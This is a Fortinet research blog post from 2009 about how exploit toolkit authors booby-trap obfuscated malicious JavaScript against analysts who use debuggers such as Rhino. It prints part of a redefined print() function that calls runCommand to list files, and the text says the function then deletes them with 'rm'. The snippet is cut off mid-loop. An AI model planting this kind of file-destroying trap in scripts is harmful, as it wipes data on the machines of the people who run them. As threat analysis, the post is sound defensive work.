Fortinet Blog | News and Threat Research

  • Products
  • Solutions
  • Service & Support
  • Partners
  • Corporate
  • Resources
  • How to Buy

Booby-trapped javascripts threaten malware analysts

by RSS David Maciejak  |  April 02, 2009  |  Category: Security Research

In today’s context, where the majority of Zombie infections occur via victim’s browser exploitation (aka “drive-by install”), a Cyber Guerilla is taking place between malware analysts and Web Exploitation Toolkits developers. The latter used to merely resort to counter-measures (such as dynamic obfuscation or code splitting) in order to hinder the analysis of the malicious javascripts embedded in their exploitation toolkits. But it seems they have now entered a genuinely more aggressive phase, which involves booby-trapping the malicious javascripts with deleterious commands very much aimed at analysts.

Indeed, cybercriminals are aware that the analysts like to run the malicious, obfuscated scripts in standalone javascript interpreters/debuggers such as Malzilla or Rhino, in order to “unfold” them step by step, layer after layer. Therefore, they started to include debugger-specific built-in commands within the scripts, such as ‘quit()’. When run in a victim browser, the instruction is ignored (remember, it is specific to the targeted debugger), but does trigger early termination of the script when run in a debugger.

Granted, although annoying, this is harmless. But the cybercriminals did not stop here. They also noted that a very frequent strategy employed by malware analysts to “unfold” a multi-layer obfuscation was to replace original calls to “eval()” by calls to “print()”, in order to reveal the set of instructions of the next obfuscation layer. Cunningly, they therefore “redefined” the print() function in their malicious script – which is permited by the language, and called “overloading” a function, in object-oriented contexts. Here is an example of such a redefined print() function:

function print (str) {

var opt={input: ””, output:”“} runCommand(“ls”, opt) var tab=opt.output.split(new RegExp(“\n”,”g”)); for (var i=0; i

Pretty straightforward. This piece of code resorts to the debugger-specific, built-in command “runCommand()” to access shell commands. But not “any” shell command. Precisely, it calls ‘ls’ and ‘rm’, in order to happily list all files in the current directory and delete them. KABOOM. And now I’m sure that the next time you substitute an “eval()” by “print()”, you will think twice. And that you may even feel like a mighty Egyptologist entering a well defended tomb in a hollywood movie, as your trembling hand will hit the return key…

…BOO! Just kidding.

– David Maciejak / Guillaume Lovet

by RSS David Maciejak  |  April 02, 2009  |  Category: Security Research
Tags: anti-debugging browser exploits drive-by install malicious javascript malzilla rhino
comments powered by Disqus

Category

  • All
  • RSS Subscribe
  • Security Research
  • RSS Subscribe
  • Industry Trends & News
  • RSS Subscribe

FortiGuard Labs on the Web

  • Twitter Twitter
  • Facebook Facebook
  • LinkedIn LinkedIn
  • Youtube Youtube

Monthly Archives

  • May 2013 7
  • April 2013 17
  • March 2013 12
  • February 2013 11
  • January 2013 12
  • December 2012 8
  • November 2012 7
  • October 2012 4
  • September 2012 7
  • August 2012 7
  • July 2012 9
  • June 2012 17
  • May 2012 14
  • April 2012 16
  • March 2012 15
  • February 2012 11
  • January 2012 6
  • December 2011 4
  • November 2011 6
  • October 2011 11
  • September 2011 2
  • August 2011 2
  • July 2011 4
  • June 2011 6
  • May 2011 6
  • April 2011 5
  • March 2011 7
  • February 2011 5
  • January 2011 7
  • December 2010 8
  • November 2010 11
  • October 2010 3
  • September 2010 8
  • August 2010 4
  • July 2010 9
  • June 2010 9
  • May 2010 9
  • April 2010 6
  • March 2010 8
  • February 2010 6
  • January 2010 9
  • December 2009 8
  • November 2009 6
  • October 2009 6
  • September 2009 8
  • August 2009 5
  • July 2009 8
  • June 2009 7
  • May 2009 4
  • April 2009 7
  • March 2009 9
  • February 2009 4
  • January 2009 1
  • Older

Popular topics

facebook reversing Cryptography virut privacy zitmo symbos/yxes mobile malware android adobe mobile phone symbian hacking challenge Windows google symbianos exploit microsoft iphone mobile mobile phones challenge botnet derek manky Research Threat Landscape hashdays network security Firewall webinar reverse engineering apple SpyEye Antivirus stuxnet BYOD UTM Fortinet Malware Anti-Spam Anonymous trojan Mobile Security sms conference FortiGate Security bredolab Mac OS X Zeus